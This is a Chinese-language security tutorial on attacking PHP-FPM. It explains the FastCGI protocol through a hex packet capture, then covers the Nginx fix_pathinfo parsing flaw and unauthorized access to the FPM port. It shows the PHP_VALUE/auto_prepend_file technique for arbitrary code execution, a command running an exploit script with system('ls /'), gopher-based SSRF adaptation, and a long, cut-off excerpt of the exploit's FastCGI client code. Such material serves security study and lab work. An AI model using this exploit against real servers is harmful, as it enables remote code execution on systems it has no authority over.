攻击PHP-FPM
Nginx与PHP-FPM Nginx Nginx (“engine x”) 是一个高性能的HTTP和反向代理服务器,也是一个IMAP/POP3/SMTP服务器。
PHP-FPM FPM(php-Fastcgi Process Manager)用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的。故名思义,FPM是管理FastCGI进程 的,能够解析fastcgi协议。
其包含master和worker两种进程.master进程只有一个,负责监听端口,用来接收来自Web Sever请求,而worker进程一般会有多个,每个进程内部都嵌入了一个PHP解释器,是php真正执行的地方.
php-fpm默认是unix socket连接,可以在配置文件中修改成tcp连接
Nginx与PHP-FPM通信 Nginx通过反向代理将请求转给PHP-FPM解析.
CGI与FastCGI CGI CGI(Common Gateway Interface)通用网关接口,在CGI模式下,当web服务器收到http请求时,就会调用php-cgi进程,通过CGI协议,服务器把请求内容转换成php-cgi能够读懂的协议数据传递给CGI进程,CGI进程拿到内容后就会解析对应的php文件,得到结果在返回给web服务器,由web服务器再返回给客户端.
但是在CGI模式下,每次客户端发起请求都需要建立和销毁进程,导致资源消耗很大.因为http要生成一个动态页面,系统就必须启动一个新进程以运行CGI程序,不断地fork是一项很耗时间和资源的工作,所以诞生了FastCGI模式.
FastCGI FastCGI (Fast Common Gateway Interface)快速通用网关接口.FastCGi致力于减少网页服务器与CGI程序之间交互的开销,FastCGI每次处理完请求后,不会kill掉这个进程,而是保留进程,从而使服务器可以同时处理更多的网页请求.
简而言之,CGI模式是Apache2接收到请求去调用CGI程序,而FastCGI模式是FastCGI进程自己管理自己的CGI进程,而不再是Apache去主动调用CGI进程,而FastCGI进程又提供了很多辅助功能比如内存管理、垃圾处理、保障了CGI的高效性,并且此时CGI是常驻在内存中、不会每次请求重新启动,从而使得性能得到质的提高.
FastCGI协议分析 Tcpdump抓包Nginx中FastCGI协议
Fastcgi record FastCGI是一个通信协议,和HTTP协议一样,都是进行数据交换的一个通道.
类比HTTP协议来说,fastcgi协议是服务器中间件和摸个语言后端进行数据交换的协议.fastcgi协议由多个record 组成,record也有header 和body ,服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端,语言后端解码后得到具体数据,进行指定操作,并将结果在按照该协议封装好后返回给服务器中间件.
和HTTP头不同的是,record的头固定8个字节,body是由头中的contentLength指定,结构如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 typedef struct { /* Header */ unsigned char version; // 版本 unsigned char type; // 本次record的类型 unsigned char requestIdB1; // 本次record对应的请求id unsigned char requestIdB0; unsigned char contentLengthB1; // body体的大小 unsigned char contentLengthB0; unsigned char paddingLength; // 额外块大小 unsigned char reserved; /* Body */ unsigned char contentData[contentLength]; unsigned char paddingData[paddingLength]; } FCGI_Record;
Header头由8个uchar类型的变量组成,每个变量1字节.其中,requestld 占两个字节,一个是唯一的标志id,用来避免多个请求之间的影响;contenLength 占两个字节,表示body的大小.
在语言端解析了fastcgi头以后,拿到contentLength,然后再在TCP流中读取大小等于contentLenth的数据,这就是body体.
body后面还以一段额外的数据Padding,其中长度由头中的paddingLength指定,起保留作用.不需要该Padding的时候,将其长度设置为0即可
由此可见,一个fastcgi的record结构最大支持的body大小是2^16,65536字节.
Fastcgi type 现在再来详细介绍一下fastcgi record中的type 字节.
type就是指定该record的作用 .因为fastcgi的一个record的大小是有限的,作用也是单一的,所以我们需要在一个TCP流中传输多个record,通过type来标志每个record的作用 ,用requestid作为同义词请求的id.
所以在一次请求中,多个record的requestid是相同的。
type值的具体含义:
看到这个图我们可以知道,在服务器中间件与后端交互时,第一个数据包record的type=1,之后继续交互发送type=4,5,6,7的record,结束时发送type=2,3的record.
当后端语言接收到一个type为4的record后,就会把这个record的body按照对应结构解析成key-value对,这就是php的环境变量 ,其结构如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 typedef struct { unsigned char nameLengthB0; /* nameLengthB0 >> 7 == 0 */ unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */ unsigned char nameData[nameLength]; unsigned char valueData[valueLength]; } FCGI_NameValuePair11; typedef struct { unsigned char nameLengthB0; /* nameLengthB0 >> 7 == 0 */ unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */ unsigned char valueLengthB2; unsigned char valueLengthB1; unsigned char valueLengthB0; unsigned char nameData[nameLength]; unsigned char valueData[valueLength ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0]; } FCGI_NameValuePair14; typedef struct { unsigned char nameLengthB3; /* nameLengthB3 >> 7 == 1 */ unsigned char nameLengthB2; unsigned char nameLengthB1; unsigned char nameLengthB0; unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */ unsigned char nameData[nameLength ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0]; unsigned char valueData[valueLength]; } FCGI_NameValuePair41; typedef struct { unsigned char nameLengthB3; /* nameLengthB3 >> 7 == 1 */ unsigned char nameLengthB2; unsigned char nameLengthB1; unsigned char nameLengthB0; unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */ unsigned char valueLengthB2; unsigned char valueLengthB1; unsigned char valueLengthB0; unsigned char nameData[nameLength ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0]; unsigned char valueData[valueLength ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0]; } FCGI_NameValuePair44;
这其实是 4 个结构,至于用哪个结构,有如下规则:
key、value均小于128字节,用 FCGI_NameValuePair11
key大于128字节,value小于128字节,用 FCGI_NameValuePair41
key小于128字节,value大于128字节,用 FCGI_NameValuePair14
key、value均大于128字节,用 FCGI_NameValuePair44
抓包流量分析 使用tcpdump抓取端口9000的包,追踪其tcp流:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 00000000 01 01 00 01 00 08 00 00 00 01 00 00 00 00 00 00 ........ ........ 00000010 01 04 00 01 05 47 01 00 0c 00 51 55 45 52 59 5f .....G.. ..QUERY_ 00000020 53 54 52 49 4e 47 0e 04 52 45 51 55 45 53 54 5f STRING.. REQUEST_ 00000030 4d 45 54 48 4f 44 50 4f 53 54 0c 21 43 4f 4e 54 METHODPO ST.!CONT 00000040 45 4e 54 5f 54 59 50 45 61 70 70 6c 69 63 61 74 ENT_TYPE applicat 00000050 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 ion/x-ww w-form-u 00000060 72 6c 65 6e 63 6f 64 65 64 0e 01 43 4f 4e 54 45 rlencode d..CONTE 00000070 4e 54 5f 4c 45 4e 47 54 48 33 0b 06 53 43 52 49 NT_LENGT H3..SCRI 00000080 50 54 5f 4e 41 4d 45 2f 31 2e 70 68 70 0b 06 52 PT_NAME/ 1.php..R 00000090 45 51 55 45 53 54 5f 55 52 49 2f 31 2e 70 68 70 EQUEST_U RI/1.php 000000A0 0c 06 44 4f 43 55 4d 45 4e 54 5f 55 52 49 2f 31 ..DOCUME NT_URI/1 000000B0 2e 70 68 70 0d 0d 44 4f 43 55 4d 45 4e 54 5f 52 .php..DO CUMENT_R 000000C0 4f 4f 54 2f 76 61 72 2f 77 77 77 2f 68 74 6d 6c OOT/var/ www/html 000000D0 0f 08 53 45 52 56 45 52 5f 50 52 4f 54 4f 43 4f ..SERVER _PROTOCO 000000E0 4c 48 54 54 50 2f 31 2e 31 0e 04 52 45 51 55 45 LHTTP/1. 1..REQUE 000000F0 53 54 5f 53 43 48 45 4d 45 68 74 74 70 11 07 47 ST_SCHEM Ehttp..G 00000100 41 54 45 57 41 59 5f 49 4e 54 45 52 46 41 43 45 ATEWAY_I NTERFACE 00000110 43 47 49 2f 31 2e 31 0f 0c 53 45 52 56 45 52 5f CGI/1.1. .SERVER_ 00000120 53 4f 46 54 57 41 52 45 6e 67 69 6e 78 2f 31 2e SOFTWARE nginx/1. 00000130 32 30 2e 32 0b 0c 52 45 4d 4f 54 45 5f 41 44 44 20.2..RE MOTE_ADD 00000140 52 31 39 32 2e 31 36 38 2e 32 30 2e 31 0b 05 52 R192.168 .20.1..R 00000150 45 4d 4f 54 45 5f 50 4f 52 54 36 34 32 35 36 0b EMOTE_PO RT64256. 00000160 0a 53 45 52 56 45 52 5f 41 44 44 52 31 37 32 2e .SERVER_ ADDR172. 00000170 31 37 2e 30 2e 32 0b 02 53 45 52 56 45 52 5f 50 17.0.2.. SERVER_P 00000180 4f 52 54 38 30 0b 09 53 45 52 56 45 52 5f 4e 41 ORT80..S ERVER_NA 00000190 4d 45 6c 6f 63 61 6c 68 6f 73 74 0f 03 52 45 44 MElocalh ost..RED 000001A0 49 52 45 43 54 5f 53 54 41 54 55 53 32 30 30 0f IRECT_ST ATUS200. 000001B0 13 53 43 52 49 50 54 5f 46 49 4c 45 4e 41 4d 45 .SCRIPT_ FILENAME 000001C0 2f 76 61 72 2f 77 77 77 2f 68 74 6d 6c 2f 31 2e /var/www /html/1. 000001D0 70 68 70 09 0e 48 54 54 50 5f 48 4f 53 54 31 39 php..HTT P_HOST19 000001E0 32 2e 31 36 38 2e 32 30 2e 31 32 39 0f 0a 48 54 2.168.20 .129..HT 000001F0 54 50 5f 43 4f 4e 4e 45 43 54 49 4f 4e 6b 65 65 TP_CONNE CTIONkee 00000200 70 2d 61 6c 69 76 65 13 01 48 54 54 50 5f 43 4f p-alive. .HTTP_CO 00000210 4e 54 45 4e 54 5f 4c 45 4e 47 54 48 33 0b 08 48 NTENT_LE NGTH3..H 00000220 54 54 50 5f 50 52 41 47 4d 41 6e 6f 2d 63 61 63 TTP_PRAG MAno-cac 00000230 68 65 12 08 48 54 54 50 5f 43 41 43 48 45 5f 43 he..HTTP _CACHE_C 00000240 4f 4e 54 52 4f 4c 6e 6f 2d 63 61 63 68 65 1e 01 ONTROLno -cache.. 00000250 48 54 54 50 5f 55 50 47 52 41 44 45 5f 49 4e 53 HTTP_UPG RADE_INS 00000260 45 43 55 52 45 5f 52 45 51 55 45 53 54 53 31 0b ECURE_RE QUESTS1. 00000270 15 48 54 54 50 5f 4f 52 49 47 49 4e 68 74 74 70 .HTTP_OR IGINhttp 00000280 3a 2f 2f 31 39 32 2e 31 36 38 2e 32 30 2e 31 32 ://192.1 68.20.12 00000290 39 11 21 48 54 54 50 5f 43 4f 4e 54 45 4e 54 5f 9.!HTTP_ CONTENT_ 000002A0 54 59 50 45 61 70 70 6c 69 63 61 74 69 6f 6e 2f TYPEappl ication/ 000002B0 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e x-www-fo rm-urlen 000002C0 63 6f 64 65 64 0f 6f 48 54 54 50 5f 55 53 45 52 coded.oH TTP_USER 000002D0 5f 41 47 45 4e 54 4d 6f 7a 69 6c 6c 61 2f 35 2e _AGENTMo zilla/5. 000002E0 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 0 (Windo ws NT 10 000002F0 2e 30 3b 20 57 69 6e 36 34 3b 20 78 36 34 29 20 .0; Win6 4; x64) 00000300 41 70 70 6c 65 57 65 62 4b 69 74 2f 35 33 37 2e AppleWeb Kit/537. 00000310 33 36 20 28 4b 48 54 4d 4c 2c 20 6c 69 6b 65 20 36 (KHTM L, like 00000320 47 65 63 6b 6f 29 20 43 68 72 6f 6d 65 2f 31 32 Gecko) C hrome/12 00000330 38 2e 30 2e 30 2e 30 20 53 61 66 61 72 69 2f 35 8.0.0.0 Safari/5 00000340 33 37 2e 33 36 0b 80 00 00 87 48 54 54 50 5f 41 37.36... ..HTTP_A 00000350 43 43 45 50 54 74 65 78 74 2f 68 74 6d 6c 2c 61 CCEPTtex t/html,a 00000360 70 70 6c 69 63 61 74 69 6f 6e 2f 78 68 74 6d 6c pplicati on/xhtml 00000370 2b 78 6d 6c 2c 61 70 70 6c 69 63 61 74 69 6f 6e +xml,app lication 00000380 2f 78 6d 6c 3b 71 3d 30 2e 39 2c 69 6d 61 67 65 /xml;q=0 .9,image 00000390 2f 61 76 69 66 2c 69 6d 61 67 65 2f 77 65 62 70 /avif,im age/webp 000003A0 2c 69 6d 61 67 65 2f 61 70 6e 67 2c 2a 2f 2a 3b ,image/a png,*/*; 000003B0 71 3d 30 2e 38 2c 61 70 70 6c 69 63 61 74 69 6f q=0.8,ap plicatio 000003C0 6e 2f 73 69 67 6e 65 64 2d 65 78 63 68 61 6e 67 n/signed -exchang 000003D0 65 3b 76 3d 62 33 3b 71 3d 30 2e 37 0c 1b 48 54 e;v=b3;q =0.7..HT 000003E0 54 50 5f 52 45 46 45 52 45 52 68 74 74 70 3a 2f TP_REFER ERhttp:/ 000003F0 2f 31 39 32 2e 31 36 38 2e 32 30 2e 31 32 39 2f /192.168 .20.129/ 00000400 31 2e 70 68 70 14 0d 48 54 54 50 5f 41 43 43 45 1.php..H TTP_ACCE 00000410 50 54 5f 45 4e 43 4f 44 49 4e 47 67 7a 69 70 2c PT_ENCOD INGgzip, 00000420 20 64 65 66 6c 61 74 65 14 17 48 54 54 50 5f 41 deflate ..HTTP_A 00000430 43 43 45 50 54 5f 4c 41 4e 47 55 41 47 45 7a 68 CCEPT_LA NGUAGEzh 00000440 2d 43 4e 2c 7a 68 3b 71 3d 30 2e 39 2c 65 6e 3b -CN,zh;q =0.9,en; 00000450 71 3d 30 2e 38 0b 80 00 00 fa 48 54 54 50 5f 43 q=0.8... ..HTTP_C 00000460 4f 4f 4b 49 45 4a 53 45 53 53 49 4f 4e 49 44 3d OOKIEJSE SSIONID= 00000470 41 38 44 35 46 42 34 45 45 42 45 41 43 37 34 44 A8D5FB4E EBEAC74D 00000480 42 32 42 37 37 44 41 32 43 31 45 43 35 39 42 42 B2B77DA2 C1EC59BB 00000490 3b 20 50 48 50 53 45 53 53 49 44 3d 32 68 63 74 ; PHPSES SID=2hct 000004A0 70 62 69 63 63 37 66 68 39 32 37 30 6a 6b 62 75 pbicc7fh 9270jkbu 000004B0 6b 63 61 63 62 61 3b 20 73 65 73 73 69 6f 6e 3d kcacba; session= 000004C0 65 79 4a 6a 63 33 4a 6d 58 33 52 76 61 32 56 75 eyJjc3Jm X3Rva2Vu 000004D0 49 6a 6f 69 4d 7a 45 34 4d 7a 64 69 59 6d 49 78 IjoiMzE4 MzdiYmIx 000004E0 4e 32 5a 68 4e 6a 46 6d 4d 6a 6b 32 4f 47 45 33 N2ZhNjFm Mjk2OGE3 000004F0 4e 44 51 30 59 7a 6b 78 4d 44 63 32 4e 6a 4a 6c NDQ0Yzkx MDc2NjJl 00000500 59 57 59 30 4d 6a 5a 6d 5a 69 49 73 49 6d 6c 6b YWY0MjZm ZiIsImlk 00000510 5a 57 35 30 61 58 52 35 49 6a 6f 69 5a 33 56 6c ZW50aXR5 IjoiZ3Vl 00000520 63 33 51 69 4c 43 4a 31 63 32 56 79 62 6d 46 74 c3QiLCJ1 c2VybmFt 00000530 5a 53 49 36 49 6d 68 6a 61 69 4a 39 2e 5a 74 32 ZSI6Imhj aiJ9.Zt2 00000540 56 72 41 2e 6d 68 52 5f 5a 67 72 42 35 57 54 50 VrA.mhR_ ZgrB5WTP 00000550 37 31 47 45 71 7a 55 68 36 44 78 56 70 73 59 00 71GEqzUh 6DxVpsY. 00000560 01 04 00 01 00 00 00 00 01 05 00 01 00 03 05 00 ........ ........ 00000570 78 3d 31 00 00 00 00 00 01 05 00 01 00 00 00 00 x=1..... ........
在这个包里能看到许多PHP的SERVER全局变量的参数,把包拆分,第一个包为:
1 01 01 00 01 00 08 00 00 00 01 00 00 00 00 00 00
其中前8位就是我们上面说的record头,它的意思即:
version 为 01
type 为 01,表示这是第一个包
00 01 表示通信 ID 为 1
00 08 表示 body 大小为8
00 00 表示 padding 长度为 0,没有保留字节
后 8 位则是 body,它的意思是:
00 01 为 role,表示 PHP-FPM 接受我们的 HTTP 所关联的信息,并产生个响应 role 的取值如下表:
| role值 | 具体含义 | | —— | ———————————————————— | | 1 | 最常用的值,php-fpm接受我们的http所关联的信息,并产生个响应 | | 2 | php-fpm会对我们的请求进行认证,认证通过的其会返回响应,认证不通过则关闭请求 | | 3 | 过滤请求中的额外数据流,并产生过滤后的http响应 |
00 表示不 keep-alive,在处理完一次请求就关闭
五个 00 为保留字段
从数据包我们可以得知这第一个包进行了一些初始设置,再看第二个包:
1 01 04 00 01 05 47 01 00 0c 00 51 55 45 52 59 5f
01 为 version
04 说明在这个包中传递了环境参数
00 01 为通信 ID
05 47 说明 body 长度为 0x547,即 1351
01 00 表示 padding 长度为 1,有1字节的填充数据
Key
Value
QUERY_STRING
(空字符串)
REQUEST_METHOD
POST
CONTENT_TYPE
application/x-www-form-urlencoded
CONTENT_LENGTH
3
SCRIPT_NAME
/1.php
REQUEST_URI
/1.php
DOCUMENT_URI
/1.php
DOCUMENT_ROOT
/var/www/html
SERVER_PROTOCOL
HTTP/1.1
REQUEST_SCHEME
http
GATEWAY_INTERFACE
CGI/1.1
SERVER_SOFTWARE
nginx/1.20.2
REMOTE_ADDR
192.168.20.1
REMOTE_PORT
64256
SERVER_ADDR
172.17.0.2
SERVER_PORT
80
SERVER_NAME
localhost
REDIRECT_STATUS
200
SCRIPT_FILENAME
/var/www/html/1.php
HTTP_HOST
192.168.20.129
HTTP_CONNECTION
keep-alive
HTTP_CONTENT_LENGTH
3
HTTP_PRAGMA
no-cache
HTTP_CACHE_CONTROL
no-cache
HTTP_UPGRADE_INSECURE_REQUESTS
1
HTTP_ORIGIN
http://192.168.20.129
HTTP_CONTENT_TYPE
application/x-www-form-urlencoded
HTTP_USER_AGENT
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
HTTP_ACCEPT
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/ ;q=0.8,application/signed-exchange;v=b3;q=0.7
HTTP_REFERER
http://192.168.20.129/1.php
HTTP_ACCEPT_ENCODING
gzip, deflate
HTTP_ACCEPT_LANGUAGE
zh-CN,zh;q=0.9,en;q=0.8
HTTP_COOKIE
JSESSIONID=A8D5FB4EEBEAC74DB2B77DA2C1EC59BB; PHPSESSID=2hctpbicc7fh9270jkbukcacba; session=eyJjc3JmX3Rva2VuIjoiMzE4MzdiYmIxN2ZhNjFmMjk2OGE3NDQ0YzkxMDc2NjJlYWY0MjZmZiIsImlkZW50aXR5IjoiZ3Vlc3QiLCJ1c2VybmFtZSI6ImhjaiJ9.Zt2VrA.mhR_ZgrB5WTP71GEqzUh6DxVpsY
x
1
可以看到,type4中传递的这些key-value,和phpinfo中看到的那些一样
实际上,FPM是一个fastcgi协议解析器 ,Nginx等服务器中间件将用户请求按照fastcgi的规则打包好后通过TCP来将请求发送给FPM.FPM按照fastcgi协议将TCP流解析成真正的数据.
type4发送的这些其实就是PHP中$_SERVER
数组的一部分,也就是PHP里的环境变量 。但环境变量的作用不仅是填充$_SERVER
数组,也是告诉fpm:“我要执行哪个PHP文件”。 PHP-FPM拿到fastcgi的数据包后,进行解析,得到上述这些环境变量。然后,执行SCRIPT_FILENAME的值指向的PHP文件,也就是/var/www/html/1.php。
然后再看看最后一个包:
1 2 01 04 00 01 00 00 00 00 01 05 00 01 00 03 05 00 78 3d 31 00 00 00 00 00 01 05 00 01 00 00 00 00
前面的应该是环境变量参数包的结尾,后面的是type=5,POST提交数据的包头,下面是body和post包的结尾.
以上这就是一次Fastcgi请求的包了.
Nginx(IIS7)解析漏洞 Nginx和IIS7曾经出现过一个PHP相关的解析漏,该漏洞现象是,在用户访问http://127.0.0.1/favicon.ico/.php
时,访问到的文件是favicon.ico,但却按照.php后缀解析。
当用户请求http://127.0.0.1/favicon.ico/.php
时,nginx会发送如下环境变量到fpm里:
1 2 3 4 5 6 7 8 { ... 'SCRIPT_FILENAME': '/var/www/html/favicon.ico/.php', 'SCRIPT_NAME': '/favicon.ico/.php', 'REQUEST_URI': '/favicon.ico/.php', 'DOCUMENT_ROOT': '/var/www/html', ... }
正常来说这里SCRIPT_FILENAME访问的是一个不存在的文件,但是PHP设置中有一个选项fix_pathinfo 导致了
此漏洞.在这个选项被打开的情况下,fpm会判断SCRIPT_FILENAME是否存在,如果不存在则去掉去掉一个/及以后的所有内容,并再次判断文件是否存在,循环类推.
也因此,在第一次访问/var/www/html/favicon.ico/.php时发现不存在,再次查询/var/www/html/favicon.ico发现存在,于是被作为php文件执行,导致解析漏洞.
正确的解决方法有两种,一是在Nginx端使用fastcgi_split_path_info将path info信息去除后,用tryfiles判断文件是否存在;二是借助PHP-FPM的security.limit_extensions配置项,避免其他后缀文件被解析。
PHP-FPM未授权访问漏洞 这个漏洞主要是因为php-fpm对两个进程间通讯没有进行安全性认证 ,php-fpm默认监听的是9000端口,如果这个端口暴露在公网上,我们就可以构造fastcgi协议来和fpm进行通信 ,通过构造数据包给环境变量赋值,最终可以达到任意文件执行 的目的了.
但是由于在php5.3.9之后加入了fpm增加了security.limit_extensions
选项
1 2 3 4 5 6 7 ; Limits the extensions of the main script FPM will allow to parse. This can ; prevent configuration mistakes on the web server side. You should only limit ; FPM to .php extensions to prevent malicious users to use other extensions to ; exectute php code. ; Note: set an empty value to allow all extensions. ; Default Value: .php ;security.limit_extensions = .php .php3 .php4 .php5 .php7
导致限制了只有这几种文件允许被fpm执行,默认是.php.
由于这个配置项的限制,如果想利用php-fpm的未授权访问漏洞,首先得先找到一个已存在的php文件,不过在安装php的时候,服务器上都会附带一些php后缀的文件,可以使用find / -name "*.php”
来搜索一下
可以看到有个老朋友/usr/local/lib/php/PEAR.php。
PHP-FPM任意代码执行 为什么我们前面说控制了fastcgi协议通信的内容,就可以可执行任意php代码呢?
理论上确实不行,哪怕我们控制了SCRIPT_FILENAME,也是只能执行目标服务器上的文件,并不能任意代码执行。
不过php里面有两个配置项可以解决我们的需求,这两个配置项在学习文件包含中也很常见:auto_prepend_file 和auto_append_file 。
假如我们设置auto_prepend_file=php://input,那么就等于在执行任何php文件前都要包含一遍POST中的内容,所以我们只需要把待执行的代码放在body中,就可以被执行成功了.(不过需要开启远程文件包含选项allow_url_include ).
那么我们该如何设置auto_prepend_file的值呢?
PHP-FPM中有两个环境变量,PHP_VALUE和PHP_ADMIN_VALUE.这两个环境变量就是用来设置php配置选项的,PHP_VALUE可以设置模式为PHP_INI_USER和PHP_INI_ALL的选项 ,PHP_ADMIN_VALUE可以设置所有选项 ,disable_function这个选项除外,这个是php加载的时候就确定的.
所以,我们需要最后传入如下环境变量:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 { 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'GET', 'SCRIPT_FILENAME': '/var/www/html/index.php', 'SCRIPT_NAME': '/index.php', 'QUERY_STRING': '?a=1&b=2', 'REQUEST_URI': '/index.php?a=1&b=2', 'DOCUMENT_ROOT': '/var/www/html', 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '12345', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': "localhost", 'SERVER_PROTOCOL': 'HTTP/1.1' 'PHP_VALUE': 'auto_prepend_file = php://input', 'PHP_ADMIN_VALUE': 'allow_url_include = On' }
设置auto_prepend_file = php://input 且allow_url_include = On ,然后将我们需要执行的代码放在Body中,即可执行任意代码。
使用P神的脚本python fpm.py 192.168.20.129 /var/www/html/index.php -c "<?php system('ls /'); exit(); ?>"
完美拿下!
远程打PHP-FPM 现在我们已经可以通过PHP_VALUE 和 PHP_ADMIN_VALUE 这两个环境变量设置 PHP 配置选项 auto_prepend_file 和 allow_url_include ,从而使 PHP-FPM 执行我们提供的任意代码.如果PHP-FPM被绑定在公网上,那么任何人都可以伪装成中间件来让php-fpm任意代码执行.
也是使用P神的脚本即可,支持python2与3
SSRF打PHP-FPM 使用p神脚本 p神脚本是生成tcp流后直接发送,只需要把发送那部分注释掉即可,再把生成的tcp流前面加上gopher
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 import socketimport randomimport argparseimport sysfrom io import BytesIOfrom six.moves.urllib import parse as urlparsePY2 = True if sys.version_info.major == 2 else False def bchr (i ): if PY2: return force_bytes(chr (i)) else : return bytes ([i]) def bord (c ): if isinstance (c, int ): return c else : return ord (c) def force_bytes (s ): if isinstance (s, bytes ): return s else : return s.encode('utf-8' , 'strict' ) def force_text (s ): if issubclass (type (s), str ): return s if isinstance (s, bytes ): s = str (s, 'utf-8' , 'strict' ) else : s = str (s) return s class FastCGIClient : """A Fast-CGI Client for Python""" __FCGI_VERSION = 1 __FCGI_ROLE_RESPONDER = 1 __FCGI_ROLE_AUTHORIZER = 2 __FCGI_ROLE_FILTER = 3 __FCGI_TYPE_BEGIN = 1 __FCGI_TYPE_ABORT = 2 __FCGI_TYPE_END = 3 __FCGI_TYPE_PARAMS = 4 __FCGI_TYPE_STDIN = 5 __FCGI_TYPE_STDOUT = 6 __FCGI_TYPE_STDERR = 7 __FCGI_TYPE_DATA = 8 __FCGI_TYPE_GETVALUES = 9 __FCGI_TYPE_GETVALUES_RESULT = 10 __FCGI_TYPE_UNKOWNTYPE = 11 __FCGI_HEADER_SIZE = 8 FCGI_STATE_SEND = 1 FCGI_STATE_ERROR = 2 FCGI_STATE_SUCCESS = 3 def __init__ (self, host, port, timeout, keepalive ): self.host = host self.port = port self.timeout = timeout if keepalive: self.keepalive = 1 else : self.keepalive = 0 self.sock = None self.requests = dict () def __connect (self ): self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.settimeout(self.timeout) self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 ) try : self.sock.connect((self.host, int (self.port))) except socket.error as msg: self.sock.close() self.sock = None print (repr (msg)) return False def __encodeFastCGIRecord (self, fcgi_type, content, requestid ): length = len (content) buf = bchr(FastCGIClient.__FCGI_VERSION) \ + bchr(fcgi_type) \ + bchr((requestid >> 8 ) & 0xFF ) \ + bchr(requestid & 0xFF ) \ + bchr((length >> 8 ) & 0xFF ) \ + bchr(length & 0xFF ) \ + bchr(0 ) \ + bchr(0 ) \ + content return buf def __encodeNameValueParams (self, name, value ): nLen = len (name) vLen = len (value) record = b'' if nLen < 128 : record += bchr(nLen) else : record += bchr((nLen >> 24 ) | 0x80 ) \ + bchr((nLen >> 16 ) & 0xFF ) \ + bchr((nLen >> 8 ) & 0xFF ) \ + bchr(nLen & 0xFF ) if vLen < 128 : record += bchr(vLen) else : record += bchr((vLen >> 24 ) | 0x80 ) \ + bchr((vLen >> 16 ) & 0xFF ) \ + bchr((vLen >> 8 ) & 0xFF ) \ + bchr(vLen & 0xFF ) return record + name + value def __decodeFastCGIHeader (self, stream ): header = dict () header['version' ] = bord(stream[0 ]) header['type' ] = bord(stream[1 ]) header['requestId' ] = (bord(stream[2 ]) << 8 ) + bord(stream[3 ]) header['contentLength' ] = (bord(stream[4 ]) << 8 ) + bord(stream[5 ]) header['paddingLength' ] = bord(stream[6 ]) header['reserved' ] = bord(stream[7 ]) return header def __decodeFastCGIRecord (self, buffer ): header = buffer.read(int (self.__FCGI_HEADER_SIZE)) if not header: return False else : record = self.__decodeFastCGIHeader(header) record['content' ] = b'' if 'contentLength' in record.keys(): contentLength = int (record['contentLength' ]) record['content' ] += buffer.read(contentLength) if 'paddingLength' in record.keys(): skiped = buffer.read(int (record['paddingLength' ])) return record def request (self, nameValuePairs={}, post='' ): if not self.__connect(): print ('connect failure! please check your fasctcgi-server !!' ) return requestId = random.randint(1 , (1 << 16 ) - 1 ) self.requests[requestId] = dict () request = b"" beginFCGIRecordContent = bchr(0 ) \ + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \ + bchr(self.keepalive) \ + bchr(0 ) * 5 request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN, beginFCGIRecordContent, requestId) paramsRecord = b'' if nameValuePairs: for (name, value) in nameValuePairs.items(): name = force_bytes(name) value = force_bytes(value) paramsRecord += self.__encodeNameValueParams(name, value) if paramsRecord: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'' , requestId) if post: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'' , requestId) return request def __waitForResponse (self, requestId ): data = b'' while True : buf = self.sock.recv(512 ) if not len (buf): break data += buf data = BytesIO(data) while True : response = self.__decodeFastCGIRecord(data) if not response: break if response['type' ] == 